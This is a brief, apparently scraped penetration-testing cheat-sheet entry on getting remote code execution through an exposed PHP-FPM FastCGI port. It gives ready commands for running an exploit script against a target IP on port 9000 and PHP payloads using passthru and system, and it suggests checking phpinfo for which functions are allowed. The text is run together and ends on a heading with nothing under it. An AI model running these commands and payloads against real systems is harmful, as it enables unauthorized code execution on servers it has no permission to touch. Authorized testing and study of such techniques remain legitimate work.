FastCGI
Find the phpinfo file within the server to check which PHP functions are allowed to execute.
1) Modify hacktricks script according the target
2) Achieve RCE using hacktricks script
./fpm.sh TARGET_IPpython3 fpm.py domain.local -p 9000 -c "<?php passthru('id');?>" /var/www/html/phpinfo.phpPHP Code execution functions
<?php passthru('id');?><?php system('id');?>Usual index.php locations
Last updated